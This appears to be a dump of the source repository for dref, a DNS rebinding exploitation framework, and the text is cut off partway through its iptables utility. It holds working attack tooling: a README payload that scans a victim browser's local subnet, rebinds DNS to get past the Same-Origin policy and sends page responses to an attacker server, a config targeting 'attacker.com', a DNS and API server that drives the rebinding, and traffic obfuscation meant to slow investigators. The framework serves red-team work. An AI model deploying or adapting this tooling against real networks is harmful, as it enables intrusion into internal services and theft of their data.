├── .gitignore ├── .travis.yml ├── README.md ├── docker-compose-dev.yml ├── docker-compose.yml ├── docs └── img │ ├── arrow-bottom-right.png │ ├── diagram.png │ ├── exfiltrated.png │ └── logo.png ├── dref-config.yml ├── dref ├── api │ ├── .babelrc │ ├── .eslintignore │ ├── .eslintrc.js │ ├── package.json │ └── src │ │ ├── app.js │ │ ├── bin │ │ └── www │ │ ├── middlewares │ │ ├── decrypter.js │ │ └── targeter.js │ │ ├── models │ │ ├── ARecord.js │ │ ├── Log.js │ │ └── Target.js │ │ ├── routes │ │ ├── arecords.js │ │ ├── checkpoint.js │ │ ├── hang.js │ │ ├── index.js │ │ ├── iptables.js │ │ ├── logs.js │ │ ├── scripts.js │ │ └── targets.js │ │ ├── utils │ │ ├── crypto.js │ │ └── iptables.js │ │ └── views │ │ ├── error.pug │ │ ├── index.pug │ │ └── layout.pug ├── dns │ ├── .babelrc │ ├── .eslintrc.js │ ├── package.json │ ├── src │ │ ├── dns │ │ │ ├── answer.js │ │ │ ├── handler.js │ │ │ └── question.js │ │ ├── models │ │ │ └── ARecord.js │ │ └── server.js │ └── tests │ │ └── dns │ │ ├── answer.test.js │ │ ├── handler.test.js │ │ └── question.test.js └── scripts │ ├── .eslintrc.js │ ├── package.json │ ├── src │ ├── libs │ │ ├── crypto.js │ │ ├── network.js │ │ └── session.js │ └── payloads │ │ ├── fast-rebind.js │ │ ├── fetch-page.js │ │ ├── port-scan.js │ │ ├── sysinfo.js │ │ └── web-discover.js │ └── webpack.config.js ├── greenkeeper.json └── iptables-node-alpine.Dockerfile /.gitignore: -------------------------------------------------------------------------------- 1 | .DS_Store 2 | 3 | dref/dns/dist/* 4 | dref/dns/coverage/* 5 | 6 | dref/api/dist/* 7 | dref/api/coverage/* 8 | 9 | dref/scripts/dist/* 10 | dref/scripts/coverage/* 11 | 12 | dref/ui/dist/* 13 | dref/ui/coverage/* 14 | 15 | package-lock.json 16 | 17 | # Created by https://www.gitignore.io/api/node 18 | 19 | ### Node ### 20 | # Logs 21 | logs 22 | *.log 23 | npm-debug.log* 24 | yarn-debug.log* 25 | yarn-error.log* 26 | 27 | # Runtime data 28 | pids 29 | *.pid 30 | *.seed 31 | *.pid.lock 32 | 33 | # Directory for instrumented libs generated by jscoverage/JSCover 34 | lib-cov 35 | 36 | # Coverage directory used by tools like istanbul 37 | coverage 38 | 39 | # nyc test coverage 40 | .nyc_output 41 | 42 | # Grunt intermediate storage (http://gruntjs.com/creating-plugins#storing-task-files) 43 | .grunt 44 | 45 | # Bower dependency directory (https://bower.io/) 46 | bower_components 47 | 48 | # node-waf configuration 49 | .lock-wscript 50 | 51 | # Compiled binary addons (http://nodejs.org/api/addons.html) 52 | build/Release 53 | 54 | # Dependency directories 55 | node_modules/ 56 | jspm_packages/ 57 | 58 | # Typescript v1 declaration files 59 | typings/ 60 | 61 | # Optional npm cache directory 62 | .npm 63 | 64 | # Optional eslint cache 65 | .eslintcache 66 | 67 | # Optional REPL history 68 | .node_repl_history 69 | 70 | # Output of 'npm pack' 71 | *.tgz 72 | 73 | # Yarn Integrity file 74 | .yarn-integrity 75 | 76 | # dotenv environment variables file 77 | .env 78 | 79 | 80 | # End of https://www.gitignore.io/api/node 81 | -------------------------------------------------------------------------------- /.travis.yml: -------------------------------------------------------------------------------- 1 | language: node_js 2 | node_js: 3 | - stable 4 | cache: 5 | npm: true 6 | directories: 7 | - dref/dns/node_modules 8 | - dref/api/node_modules 9 | - dref/scripts/node_modules 10 | env: 11 | - TEST_DIR=dref/dns 12 | script: cd $TEST_DIR && npm install && npm test && codecov 13 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 |
2 |

3 | 4 |

5 | 6 |

DNS Rebinding Exploitation Framework

7 | 8 |

9 | 10 |

11 |
12 | 13 | This project is no longer maintained. 14 | 15 | dref does the heavy-lifting for [DNS rebinding](https://en.wikipedia.org/wiki/DNS_rebinding). The following snippet from one of its [built-in payloads](https://github.com/mwrlabs/dref/wiki/Payloads#web-discover) shows the framework being used to scan a local subnet from a hooked browser; after identifying live web services it proceeds to exfiltrate GET responses, [breezing through the Same-Origin policy](https://github.com/mwrlabs/dref/wiki#limitations): 16 | 17 | ```javascript 18 | // mainFrame() runs first 19 | async function mainFrame () { 20 | // We use some tricks to derive the browser's local /24 subnet 21 | const localSubnet = await network.getLocalSubnet(24) 22 | 23 | // We use some more tricks to scan a couple of ports across the subnet 24 | netmap.tcpScan(localSubnet, [80, 8080]).then(results => { 25 | // We launch the rebind attack on live targets 26 | for (let h of results.hosts) { 27 | for (let p of h.ports) { 28 | if (p.open) session.createRebindFrame(h.host, p.port) 29 | } 30 | } 31 | }) 32 | } 33 | 34 | // rebindFrame() will have target ip:port as origin 35 | function rebindFrame () { 36 | // After this we'll have bypassed the Same-Origin policy 37 | session.triggerRebind().then(() => { 38 | // We can now read the response across origin... 39 | network.get(session.baseURL, { 40 | successCb: (code, headers, body) => { 41 | // ... and exfiltrate it 42 | session.log({code: code, headers: headers, body: body}) 43 | } 44 | }) 45 | }) 46 | } 47 | ``` 48 | 49 |
50 | 51 | 52 |
53 | 54 |








55 | Head over to the [Wiki](https://github.com/mwrlabs/dref/wiki) to get started or check out [dref attacking headless browsers](https://labs.mwrinfosecurity.com/blog/from-http-referer-to-aws-security-credentials/) for a practical use case. 56 | 57 |
58 |

59 | This is a development release - do not use in production 60 |

61 |
62 | -------------------------------------------------------------------------------- /docker-compose-dev.yml: -------------------------------------------------------------------------------- 1 | version: '3' 2 | 3 | services: 4 | mongo: 5 | ports: 6 | - 127.0.0.1:27017:27017 7 | 8 | dns: 9 | command: sh -c "npm install && npm run dev" 10 | 11 | api: 12 | command: sh -c "npm install && npm run dev" 13 | -------------------------------------------------------------------------------- /docker-compose.yml: -------------------------------------------------------------------------------- 1 | version: '3' 2 | 3 | volumes: 4 | api_node_modules: 5 | scripts_node_modules: 6 | dns_node_modules: 7 | 8 | networks: 9 | dref: 10 | driver: bridge 11 | 12 | services: 13 | mongo: 14 | image: mongo:3.6.5-jessie 15 | restart: on-failure 16 | networks: 17 | - dref 18 | 19 | dns: 20 | image: node:9.11.2-alpine 21 | ports: 22 | - 0.0.0.0:53:53/udp 23 | volumes: 24 | - ./dref/dns/:/src:rw 25 | - ./dref-config.yml:/tmp/dref-config.yml:ro 26 | - dns_node_modules:/src/node_modules 27 | working_dir: /src/ 28 | networks: 29 | - dref 30 | command: sh -c "npm install --production && npm run build && npm run start" 31 | restart: on-failure 32 | depends_on: 33 | - mongo 34 | 35 | scripts: 36 | image: node:9.11.2-alpine 37 | networks: 38 | - dref 39 | environment: 40 | - HOST=0.0.0.0 41 | - PORT=8000 42 | volumes: 43 | - ./dref/scripts/:/src:rw 44 | - scripts_node_modules:/src/node_modules 45 | working_dir: /src/ 46 | command: sh -c "npm install && npm run dev" 47 | restart: on-failure 48 | depends_on: 49 | - mongo 50 | 51 | api: 52 | build: 53 | context: . 54 | dockerfile: iptables-node-alpine.Dockerfile 55 | networks: 56 | - dref 57 | cap_add: 58 | - NET_ADMIN 59 | ports: 60 | - 0.0.0.0:80:80 61 | - 0.0.0.0:443:443 62 | - 0.0.0.0:8000:8000 63 | - 0.0.0.0:8080:8080 64 | - 0.0.0.0:8888:8888 65 | environment: 66 | - PORT=45000 67 | volumes: 68 | - ./dref/api/:/src:rw 69 | - ./dref-config.yml:/tmp/dref-config.yml:ro 70 | - api_node_modules:/src/node_modules 71 | working_dir: /src/ 72 | command: sh -c "npm install --production && npm run build && npm run start" 73 | restart: on-failure 74 | depends_on: 75 | - mongo 76 | - scripts 77 | -------------------------------------------------------------------------------- /docs/img/arrow-bottom-right.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FSecureLABS/dref/e9efd9cd4379076c340bf41408d74981a21f9022/docs/img/arrow-bottom-right.png -------------------------------------------------------------------------------- /docs/img/diagram.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FSecureLABS/dref/e9efd9cd4379076c340bf41408d74981a21f9022/docs/img/diagram.png -------------------------------------------------------------------------------- /docs/img/exfiltrated.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FSecureLABS/dref/e9efd9cd4379076c340bf41408d74981a21f9022/docs/img/exfiltrated.png -------------------------------------------------------------------------------- /docs/img/logo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FSecureLABS/dref/e9efd9cd4379076c340bf41408d74981a21f9022/docs/img/logo.png -------------------------------------------------------------------------------- /dref-config.yml: -------------------------------------------------------------------------------- 1 | general: 2 | domain: "attacker.com" 3 | address: "1.2.3.4" 4 | logPort: 443 5 | iptablesTimeout: 10000 6 | 7 | targets: 8 | - target: "demo" 9 | script: "web-discover" 10 | 11 | - target: "sysinfo" 12 | script: "sysinfo" 13 | 14 | - target: "port-scan" 15 | script: "port-scan" 16 | args: 17 | ports: 18 | - 80 19 | - 8080 20 | 21 | - target: "fetch-page" 22 | script: "fetch-page" 23 | args: 24 | host: "192.168.1.1" 25 | port: 80 26 | path: "/index.html" 27 | 28 | - target: "fast-rebind" 29 | script: "fast-rebind" 30 | fastRebind: true 31 | args: 32 | host: "192.168.1.1" 33 | port: 80 34 | path: "/index.html" 35 | -------------------------------------------------------------------------------- /dref/api/.babelrc: -------------------------------------------------------------------------------- 1 | { 2 | "presets": ["env"] 3 | } 4 | -------------------------------------------------------------------------------- /dref/api/.eslintignore: -------------------------------------------------------------------------------- 1 | app.js 2 | -------------------------------------------------------------------------------- /dref/api/.eslintrc.js: -------------------------------------------------------------------------------- 1 | module.exports = { 2 | "extends": "standard" 3 | }; -------------------------------------------------------------------------------- /dref/api/package.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "manager", 3 | "version": "0.0.0", 4 | "private": true, 5 | "scripts": { 6 | "test": "eslint src/**/*.js tests/**/*.js && jest", 7 | "build": "babel src -d dist --copy-files", 8 | "start": "node dist/bin/www", 9 | "dev": "nodemon --legacy-watch --ignore 'dist/*' --exec 'npm run build && node' dist/bin/www" 10 | }, 11 | "dependencies": { 12 | "atob": "^2.1.2", 13 | "babel-cli": "^6.26.0", 14 | "babel-jest": "^23.4.0", 15 | "babel-preset-env": "^1.7.0", 16 | "connect-timeout": "^1.9.0", 17 | "cookie-parser": "~1.4.3", 18 | "cors": "^2.8.4", 19 | "debug": "~3.1.0", 20 | "express": "~4.16.0", 21 | "express-validator": "^5.2.0", 22 | "http-errors": "~1.7.0", 23 | "mongoose": "^5.2.11", 24 | "morgan": "~1.9.0", 25 | "nodemon": "^1.18.7", 26 | "pug": "^2.0.3", 27 | "request": "^2.87.0", 28 | "yamljs": "^0.3.0" 29 | }, 30 | "devDependencies": { 31 | "eslint": "^5.0.1", 32 | "eslint-config-standard": "^12.0.0", 33 | "eslint-plugin-import": "^2.12.0", 34 | "eslint-plugin-node": "^7.0.0", 35 | "eslint-plugin-promise": "^4.0.0", 36 | "eslint-plugin-standard": "^4.0.0", 37 | "jest": "^23.1.0" 38 | }, 39 | "jest": { 40 | "coverageDirectory": "./coverage/", 41 | "collectCoverage": true, 42 | "testEnvironment": "node" 43 | } 44 | } 45 | -------------------------------------------------------------------------------- /dref/api/src/app.js: -------------------------------------------------------------------------------- 1 | import express from 'express' 2 | import createError from 'http-errors' 3 | import path from 'path' 4 | import logger from 'morgan' 5 | import mongoose from 'mongoose' 6 | import YAML from 'yamljs' 7 | import cors from 'cors' 8 | import * as iptables from './utils/iptables' 9 | 10 | /** 11 | * Mongo 12 | */ 13 | mongoose.connect('mongodb://mongo:27017/dref') 14 | mongoose.set('debug', true) 15 | 16 | /** 17 | * Models 18 | */ 19 | import ARecord from './models/ARecord' 20 | import Log from './models/Log' 21 | import Target from './models/Target' 22 | 23 | /** 24 | * Process dref-config.yml and set up targets 25 | */ 26 | global.config = YAML.load('/tmp/dref-config.yml') 27 | 28 | for (let i = 0; i < global.config.targets.length; i++) { 29 | if (!global.config.targets[i].hasOwnProperty('target') || !global.config.targets[i].hasOwnProperty('script')) { 30 | console.log('dref: Missing properties id and/or script for payload in dref-config.yml') 31 | } 32 | 33 | let doc = { 34 | target: global.config.targets[i].target, 35 | script: global.config.targets[i].script, 36 | hang: global.config.targets[i].hang || false, 37 | fastRebind: global.config.targets[i].fastRebind || false, 38 | args: global.config.targets[i].args 39 | } 40 | 41 | Target.update ({ target: global.config.targets[i].target }, doc, { upsert: true }, function () { 42 | console.log('dref: Configured target\n' + JSON.stringify(doc, null, 4)) 43 | }) 44 | } 45 | 46 | /** 47 | * Set up default iptable rules to forward all ports to the API 48 | */ 49 | iptables.execute({ 50 | table: iptables.Table.NAT, 51 | command: iptables.Command.INSERT, 52 | chain: iptables.Chain.PREROUTING, 53 | target: iptables.Target.REDIRECT, 54 | toPort: process.env.PORT || '3000' 55 | }) 56 | 57 | /** 58 | * Set up default iptable rules to REJECT all traffic to dport 1 59 | * This is used for denying traffic and causing a fast-rebind, when configured 60 | * (the /iptables route will forward denied traffic to dport 1 on rebind) 61 | */ 62 | iptables.execute({ 63 | table: iptables.Table.FILTER, 64 | command: iptables.Command.INSERT, 65 | chain: iptables.Chain.INPUT, 66 | target: iptables.Target.REJECT, 67 | fromPort: 1 68 | }) 69 | 70 | /** 71 | * Import routes 72 | */ 73 | import indexRouter from './routes/index' 74 | import logsRouter from './routes/logs' 75 | import scriptsRouter from './routes/scripts' 76 | import aRecordsRouter from './routes/arecords' 77 | import iptablesRouter from './routes/iptables' 78 | import targetsRouter from './routes/targets' 79 | import checkpointRouter from './routes/checkpoint' 80 | import hangRouter from './routes/hang' 81 | 82 | /** 83 | * Set up app 84 | */ 85 | var app = express() 86 | 87 | app.disable('x-powered-by') 88 | app.set('etag', false) 89 | 90 | app.options('/logs', cors()) 91 | app.options('/iptables', cors()) 92 | 93 | // view engine setup 94 | app.set('views', path.join(__dirname, 'views')) 95 | app.set('view engine', 'pug') 96 | 97 | app.use(logger('dev')) 98 | app.use(express.json()) 99 | app.use(express.urlencoded({ extended: false })) 100 | 101 | // routes 102 | app.use('/', indexRouter) 103 | app.use('/logs', logsRouter) 104 | app.use('/scripts', scriptsRouter) 105 | app.use('/arecords', aRecordsRouter) 106 | app.use('/iptables', iptablesRouter) 107 | app.use('/targets', targetsRouter) 108 | app.use('/checkpoint', checkpointRouter) 109 | app.use('/hang', hangRouter) 110 | 111 | // catch 404 and forward to error handler 112 | app.use(function (req, res, next) { 113 | next(createError(404)) 114 | }) 115 | 116 | /** 117 | * Error handler 118 | */ 119 | app.use(function (err, req, res, next) { 120 | // set locals, only providing error in development 121 | res.locals.message = err.message 122 | res.locals.error = req.app.get('env') === 'development' ? err : {} 123 | 124 | // render the error page 125 | res.status(err.status || 500) 126 | res.render('error') 127 | }) 128 | 129 | module.exports = app 130 | -------------------------------------------------------------------------------- /dref/api/src/bin/www: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env node 2 | 3 | /** 4 | * Module dependencies. 5 | */ 6 | 7 | var app = require('../app') 8 | var debug = require('debug')('manager:server') 9 | var http = require('http') 10 | 11 | /** 12 | * Get port from environment and store in Express. 13 | */ 14 | 15 | var port = normalizePort(process.env.PORT || '3000') 16 | app.set('port', port) 17 | 18 | /** 19 | * Create HTTP server. 20 | */ 21 | 22 | var server = http.createServer(app) 23 | 24 | /** 25 | * Listen on provided port, on all network interfaces. 26 | */ 27 | 28 | server.listen(port) 29 | server.on('error', onError) 30 | server.on('listening', onListening) 31 | 32 | /** 33 | * Set timeout for /hang 34 | */ 35 | server.keepAliveTimeout = 240000 36 | 37 | /** 38 | * Normalize a port into a number, string, or false. 39 | */ 40 | 41 | function normalizePort (val) { 42 | var port = parseInt(val, 10) 43 | 44 | if (isNaN(port)) { 45 | // named pipe 46 | return val 47 | } 48 | 49 | if (port >= 0) { 50 | // port number 51 | return port 52 | } 53 | 54 | return false 55 | } 56 | 57 | /** 58 | * Event listener for HTTP server "error" event. 59 | */ 60 | 61 | function onError (error) { 62 | if (error.syscall !== 'listen') { 63 | throw error 64 | } 65 | 66 | var bind = typeof port === 'string' 67 | ? 'Pipe ' + port 68 | : 'Port ' + port 69 | 70 | // handle specific listen errors with friendly messages 71 | switch (error.code) { 72 | case 'EACCES': 73 | console.error(bind + ' requires elevated privileges') 74 | process.exit(1) 75 | case 'EADDRINUSE': 76 | console.error(bind + ' is already in use') 77 | process.exit(1) 78 | default: 79 | throw error 80 | } 81 | } 82 | 83 | /** 84 | * Event listener for HTTP server "listening" event. 85 | */ 86 | 87 | function onListening () { 88 | var addr = server.address() 89 | var bind = typeof addr === 'string' 90 | ? 'pipe ' + addr 91 | : 'port ' + addr.port 92 | debug('Listening on ' + bind) 93 | } 94 | -------------------------------------------------------------------------------- /dref/api/src/middlewares/decrypter.js: -------------------------------------------------------------------------------- 1 | import * as crypto from '../utils/crypto' 2 | import atob from 'atob' 3 | 4 | /** 5 | * This is _NOT_ intended to enable secure transmission of data. 6 | * This is _NOT_ intended to be secure cryptography. 7 | * This is just some obfuscation. 8 | * 9 | * It's only intended to very slightly slow down someone investigating the 10 | * network traffic. 11 | * 12 | * In the future this will be improved and obfuscation of the JavaScript 13 | * payloads will slow down investigative efforts some more. 14 | * 15 | * Obfuscation is only really a concern for potential use in Red Team exercises. 16 | */ 17 | 18 | export default function (req, res, next) { 19 | if (!req.body.hasOwnProperty('s') || !req.body.hasOwnProperty('d')) { 20 | res.status(400).send() 21 | } 22 | 23 | var sessionKey = crypto.xor(req.body.s, crypto.staticKey) 24 | req.data = JSON.parse(crypto.rc4(sessionKey, atob(req.body.d))) 25 | 26 | next() 27 | } 28 | -------------------------------------------------------------------------------- /dref/api/src/middlewares/targeter.js: -------------------------------------------------------------------------------- 1 | export default function (req, res, next) { 2 | // get subdomain 3 | for (var i = 0; i < req.subdomains.length; i++) { 4 | if (/^[a-zA-Z0-9][a-zA-Z0-9-]+[a-zA-Z0-9]$/.test(req.subdomains[i])) { 5 | req.target = req.subdomains[i] 6 | } 7 | } 8 | 9 | // get port 10 | req.port = req.get('host').split(':')[1] 11 | if (!req.port) { 12 | req.port = 80 13 | } 14 | 15 | // check we have both 16 | if (req.port && req.target) next() 17 | else res.status(400).send() 18 | } 19 | -------------------------------------------------------------------------------- /dref/api/src/models/ARecord.js: -------------------------------------------------------------------------------- 1 | import mongoose from 'mongoose' 2 | 3 | var ARecordSchema = new mongoose.Schema({ 4 | domain: { 5 | type: String, 6 | required: true, 7 | unique: true 8 | }, 9 | address: { 10 | type: String, 11 | default: '127.0.0.1' 12 | }, 13 | rebind: { 14 | type: Boolean, 15 | default: false 16 | }, 17 | // a dual entry will return two A records: the arecord.address above and the 18 | // server's default address 19 | dual: { 20 | type: Boolean, 21 | default: false 22 | } 23 | }) 24 | 25 | export default mongoose.model('ARecord', ARecordSchema) 26 | -------------------------------------------------------------------------------- /dref/api/src/models/Log.js: -------------------------------------------------------------------------------- 1 | import mongoose from 'mongoose' 2 | 3 | var LogSchema = new mongoose.Schema({ 4 | port: { 5 | type: Number, 6 | required: true, 7 | min: 0, 8 | max: 65535 9 | }, 10 | ip: { 11 | type: String, 12 | required: true 13 | }, 14 | data: mongoose.Schema.Types.Mixed 15 | }, { timestamps: true }) 16 | 17 | let Log = mongoose.model('Log', LogSchema) 18 | 19 | export default Log 20 | -------------------------------------------------------------------------------- /dref/api/src/models/Target.js: -------------------------------------------------------------------------------- 1 | import mongoose from 'mongoose' 2 | 3 | var TargetSchema = new mongoose.Schema({ 4 | target: { 5 | type: String, 6 | required: true, 7 | match: /^[a-zA-Z0-9][a-zA-Z0-9-]+[a-zA-Z0-9]$/ 8 | }, 9 | script: { 10 | type: String, 11 | required: true 12 | }, 13 | hang: { 14 | type: Boolean, 15 | default: false 16 | }, 17 | fastRebind: { 18 | type: Boolean, 19 | default: false 20 | }, 21 | args: mongoose.Schema.Types.Mixed 22 | }, { timestamps: true }) 23 | 24 | let Target = mongoose.model('Target', TargetSchema) 25 | 26 | export default Target 27 | -------------------------------------------------------------------------------- /dref/api/src/routes/arecords.js: -------------------------------------------------------------------------------- 1 | import mongoose from 'mongoose' 2 | import { Router } from 'express' 3 | import { check, validationResult } from 'express-validator/check' 4 | 5 | const router = Router() 6 | const ARecord = mongoose.model('ARecord') 7 | 8 | // This should be re-written as a proper REST API 9 | router.post('/', [ 10 | check('domain').matches(/^([a-zA-Z0-9][a-zA-Z0-9-_]*\.)*[a-zA-Z0-9]*[a-zA-Z0-9-_]*[[a-zA-Z0-9]+$/), 11 | check('address').optional().matches(/^(?:[0-9]{1,3}\.){3}[0-9]{1,3}$/), 12 | check('rebind').optional().isBoolean(), 13 | check('dual').optional().isBoolean() 14 | ], function (req, res, next) { 15 | const errors = validationResult(req) 16 | 17 | if (!errors.isEmpty()) { 18 | return res.status(422).json({ errors: errors.array() }) 19 | } 20 | 21 | console.log('dref: POST ARecord\n' + JSON.stringify(req.body, null, 4)) 22 | 23 | const record = { domain: req.body.domain } 24 | if (typeof req.body.address !== 'undefined') record.address = req.body.address 25 | if (typeof req.body.rebind !== 'undefined') record.rebind = req.body.rebind 26 | if (typeof req.body.dual !== 'undefined') record.dual = req.body.dual 27 | 28 | ARecord.findOneAndUpdate({ 29 | domain: req.body.domain 30 | }, record, { upsert: true, new: true }, function (err, doc) { 31 | if (err) { 32 | console.log(err) 33 | return res.status(400).send() 34 | } 35 | 36 | return res.status(204).send() 37 | }) 38 | }) 39 | 40 | export default router 41 | -------------------------------------------------------------------------------- /dref/api/src/routes/checkpoint.js: -------------------------------------------------------------------------------- 1 | import { Router } from 'express' 2 | 3 | var router = Router() 4 | 5 | router.get('/', function (req, res, next) { 6 | res.set('Connection', 'close') 7 | res.send(JSON.stringify({ 8 | checkpoint: true 9 | })) 10 | }) 11 | 12 | export default router 13 | -------------------------------------------------------------------------------- /dref/api/src/routes/hang.js: -------------------------------------------------------------------------------- 1 | import { Router } from 'express' 2 | 3 | var router = Router() 4 | 5 | router.get('/', function (req, res, next) { 6 | res.status(200).set({ 7 | 'Content-Length': '1' 8 | }).send() 9 | }) 10 | 11 | export default router 12 | -------------------------------------------------------------------------------- /dref/api/src/routes/index.js: -------------------------------------------------------------------------------- 1 | import mongoose from 'mongoose' 2 | import { Router } from 'express' 3 | import targeter from '../middlewares/targeter' 4 | 5 | const router = Router() 6 | const Target = mongoose.model('Target') 7 | 8 | router.get('/', targeter, function (req, res, next) { 9 | Target.findOne({ target: req.target }, 'script hang args fastRebind', function (err, target) { 10 | if (err || !target) return res.status(400).send() 11 | 12 | res.render('index', { 13 | script: target.script, 14 | args: target.args, 15 | hang: target.hang, 16 | env: { 17 | target: req.target, 18 | script: target.script, 19 | domain: global.config.general.domain, 20 | address: global.config.general.address, 21 | logPort: global.config.general.logPort, 22 | fastRebind: target.fastRebind 23 | } 24 | }) 25 | }) 26 | }) 27 | 28 | export default router 29 | -------------------------------------------------------------------------------- /dref/api/src/routes/iptables.js: -------------------------------------------------------------------------------- 1 | import { Router } from 'express' 2 | import { check, validationResult } from 'express-validator/check' 3 | import cors from 'cors' 4 | import * as iptables from '../utils/iptables' 5 | 6 | const router = Router() 7 | 8 | function runIPTables (command, port, address) { 9 | return new Promise((resolve, reject) => { 10 | iptables.execute({ 11 | table: iptables.Table.NAT, 12 | command: command, 13 | chain: iptables.Chain.PREROUTING, 14 | target: iptables.Target.REDIRECT, 15 | fromPort: port, 16 | toPort: 1, 17 | srcAddress: address 18 | }).then(status => { 19 | resolve(status) 20 | }) 21 | }) 22 | } 23 | 24 | router.post('/', cors(), [ 25 | check('block').optional().isBoolean(), 26 | check('port').optional().isInt({ min: 1, max: 65535 }) 27 | ], function (req, res, next) { 28 | const errors = validationResult(req) 29 | 30 | if (!errors.isEmpty()) { 31 | return res.status(422).json({ errors: errors.array() }) 32 | } 33 | 34 | console.log('dref: POST IPTables\n' + JSON.stringify(req.body, null, 4)) 35 | 36 | // Get IP address 37 | const ipv4Match = req.ip.match(/::ffff:(\d{0,3}.\d{0,3}.\d{0,3}.\d{0,3})/) 38 | if (!ipv4Match) { 39 | console.log(`source IP ${req.ip} doesn't appear to be IPv4, can't manipulate iptables and fast-rebind not available`) 40 | return res.status(400).send() 41 | } 42 | const ipv4 = ipv4Match[1] 43 | 44 | // Block for 10 seconds or unblock 45 | if (req.body.block) { 46 | runIPTables(iptables.Command.INSERT, req.body.port, ipv4).then(status => { 47 | // unblock after 10 seconds max (fail-safe if client forgets to unblock) 48 | setTimeout(function () { 49 | runIPTables(iptables.Command.DELETE, req.body.port, ipv4) 50 | }, global.config.general.iptablesTimeout) 51 | 52 | if (status) { 53 | return res.status(204).send() 54 | } 55 | return res.status(400).send() 56 | }) 57 | } else { 58 | runIPTables(iptables.Command.DELETE, req.body.port, ipv4).then(status => { 59 | if (status) return res.status(204).send() 60 | return res.status(400).send() 61 | }) 62 | } 63 | }) 64 | 65 | export default router 66 | -------------------------------------------------------------------------------- /dref/api/src/routes/logs.js: -------------------------------------------------------------------------------- 1 | import { Router } from 'express' 2 | import mongoose from 'mongoose' 3 | import cors from 'cors' 4 | import decrypter from '../middlewares/decrypter' 5 | 6 | var Log = mongoose.model('Log') 7 | var router = Router() 8 | 9 | router.post('/', cors(), decrypter, function (req, res, next) { 10 | console.log(JSON.stringify(req.data, null, 4)) 11 | 12 | new Log({ 13 | port: req.get('host').split(':')[1] || 80, 14 | ip: req.ip, 15 | data: req.data 16 | }).save() 17 | 18 | res.status(204).send() 19 | }) 20 | 21 | export default router 22 | -------------------------------------------------------------------------------- /dref/api/src/routes/scripts.js: -------------------------------------------------------------------------------- 1 | import { Router } from 'express' 2 | import { format } from 'util' 3 | import request from 'request' 4 | import targeter from '../middlewares/targeter' 5 | 6 | var router = Router() 7 | 8 | router.get('/:script', targeter, function (req, res, next) { 9 | var url = format('http://scripts:8000%s', req.originalUrl) 10 | request(url).pipe(res) 11 | }) 12 | 13 | export default router 14 | -------------------------------------------------------------------------------- /dref/api/src/routes/targets.js: -------------------------------------------------------------------------------- 1 | import mongoose from 'mongoose' 2 | import { Router } from 'express' 3 | import { check, validationResult } from 'express-validator/check' 4 | 5 | const router = Router() 6 | const Target = mongoose.model('Target') 7 | 8 | // This should be re-written as a proper REST API 9 | router.post('/', [ 10 | check('target').matches(/^[a-zA-Z0-9][a-zA-Z0-9-]+[a-zA-Z0-9]$/), 11 | check('script').isString(), 12 | check('hang').optional().isBoolean(), 13 | check('fastRebind').optional().isBoolean(), 14 | check('args').optional() 15 | ], function (req, res, next) { 16 | const errors = validationResult(req) 17 | 18 | if (!errors.isEmpty()) { 19 | return res.status(422).json({ errors: errors.array() }) 20 | } 21 | 22 | console.log('dref: POST Target\n' + JSON.stringify(req.body, null, 4)) 23 | 24 | const record = { 25 | target: req.body.target, 26 | script: req.body.script 27 | } 28 | if (typeof req.body.hang !== 'undefined') record.hang = req.body.hang 29 | if (typeof req.body.fastRebind !== 'undefined') record.fastRebind = req.body.fastRebind 30 | if (typeof req.body.args !== 'undefined') record.args = req.body.args 31 | 32 | Target.findOneAndUpdate({ 33 | target: req.body.target 34 | }, record, { upsert: true }, function (err) { 35 | if (err) { 36 | console.log(err) 37 | return res.status(400).send() 38 | } 39 | res.status(204).send() 40 | }) 41 | }) 42 | 43 | export default router 44 | -------------------------------------------------------------------------------- /dref/api/src/utils/crypto.js: -------------------------------------------------------------------------------- 1 | /** 2 | * This is _NOT_ intended to enable secure transmission of data. 3 | * This is _NOT_ intended to be secure cryptography. 4 | * This is just some obfuscation. 5 | * 6 | * It's only intended to very slightly slow down someone investigating the 7 | * network traffic. 8 | * 9 | * In the future this will be improved and obfuscation of the JavaScript 10 | * payloads will slow down investigative efforts some more. 11 | * 12 | * Obfuscation is only really a concern for potential use in Red Team exercises. 13 | */ 14 | 15 | export const staticKey = 'eea46dfa5dead1bbc1d6d5c9' 16 | 17 | export function randomHex (n) { 18 | var id = '' 19 | var range = '0123456789abcdef' 20 | 21 | for (var i = 0; i < n; i++) { 22 | id += range.charAt(Math.floor(Math.random() * range.length)) 23 | } 24 | 25 | return id 26 | } 27 | 28 | // https://stackoverflow.com/questions/30651062/how-to-use-the-xor-on-two-strings 29 | export function xor (a, b) { 30 | // xor two hex strings 31 | var res = '' 32 | var i = a.length 33 | var j = b.length 34 | 35 | while (i-- > 0 && j-- > 0) { 36 | res = (parseInt(a.charAt(i), 16) ^ parseInt(b.charAt(j), 16)).toString(16) + res 37 | } 38 | 39 | return res 40 | } 41 | 42 | // https://gist.github.com/salipro4ever/e234addf92eb80f1858f 43 | export function rc4 (key, str) { 44 | var s = [] 45 | var j = 0 46 | var x 47 | var res = '' 48 | 49 | for (var i = 0; i < 256; i++) { 50 | s[i] = i 51 | } 52 | 53 | for (i = 0; i < 256; i++) { 54 | j = (j + s[i] + key.charCodeAt(i % key.length)) % 256 55 | x = s[i] 56 | s[i] = s[j] 57 | s[j] = x 58 | } 59 | 60 | i = 0 61 | j = 0 62 | 63 | for (var y = 0; y < str.length; y++) { 64 | i = (i + 1) % 256 65 | j = (j + s[i]) % 256 66 | x = s[i] 67 | s[i] = s[j] 68 | s[j] = x 69 | res += String.fromCharCode(str.charCodeAt(y) ^ s[(s[i] + s[j]) % 256]) 70 | } 71 | 72 | return res 73 | } 74 | -------------------------------------------------------------------------------- /dref/api/src/utils/iptables.js: -------------------------------------------------------------------------------- 1 | import { spawn } from 'child_process' 2 | 3 | export const Command = Object.freeze({ 4 | APPEND: '-A', 5 | CHECK: '-C', 6 | DELETE: '-D', 7 | INSERT: '-I' 8 | }) 9 | 10 | export const Target = Object.freeze({ 11 | DROP: 'DROP', 12 | REDIRECT: 'REDIRECT', 13 | REJECT: 'REJECT' 14 | }) 15 | 16 | export const Table = Object.freeze({ 17 | FILTER: 'filter', 18 | NAT: 